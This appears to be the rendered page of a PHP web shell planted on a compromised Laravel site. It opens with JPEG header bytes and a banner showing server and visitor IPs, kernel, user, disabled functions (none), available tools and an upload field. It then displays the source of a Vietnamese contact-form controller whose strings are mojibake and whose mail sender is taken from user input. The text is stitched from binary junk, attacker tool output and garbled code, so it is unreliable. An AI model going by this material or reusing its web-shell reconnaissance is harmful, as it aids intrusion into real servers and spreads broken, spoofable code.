ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vaoday/app/Http/Controllers/ |
Upload File : |
<?php
namespace App\Http\Controllers;
use DB,Cache,Mail, Request;
class ContactController extends Controller {
protected $setting = NULL;
public function __construct()
{
session_start();
if(isset($_GET['lang']))
{
$_SESSION['lang'] = $_GET['lang'];
}
$setting = DB::table('setting')->select()->where('id',1)->get()->first();
Cache::forever('setting', $setting);
}
public function getContact()
{
// Cấu hình SEO
$title = "Liên hệ";
$keyword = "Liên hệ";
$description = "Liên hệ";
$img_share = '';
$com='lien-he';
$about_lienhe = DB::table('about')->select()->where('com','lien-he')->get()->first();
$banner_danhmuc = DB::table('lienket')->select()->where('status',1)->where('com','chuyen-muc')->where('link','lien-he')->get()->first();
$chinhanh = DB::table('lienket')->select()->where('status',1)->where('com','chi-nhanh')->orderBy('stt','asc')->get();
// End cấu hình SEO
return view('templates.contact_tpl', compact('banner_danhmuc','lien-he','chinhanh','about_lienhe','keyword','description','title','img_share'));
}
public function postContact(Request $request)
{
$setting = Cache::get('setting');
$data = [
'hoten' => Request::input('hoten_contact'),
'email' => Request::input('email_contact'),
'dienthoai' => Request::input('dienthoai_contact'),
'diachi' => Request::input('diachi_contact'),
'noidung' => Request::input('noidung_contact')
];
Mail::send('templates.layout.blanks', $data, function($msg){
$setting = Cache::get('setting');
$msg->from(Request::input('email_contact'), Request::input('hoten_contact'));
$msg->to($setting->email, 'Author sendmail')->subject('Liên hệ từ website');
});
echo "<script type='text/javascript'>
alert('Cảm Æ¡n bạn đã gá»i yêu cầu. Chúng tôi sẽ liên hệ lại vá»›i bạn sá»›m nhất !');
window.location = '".url('/')."' </script>";
}
}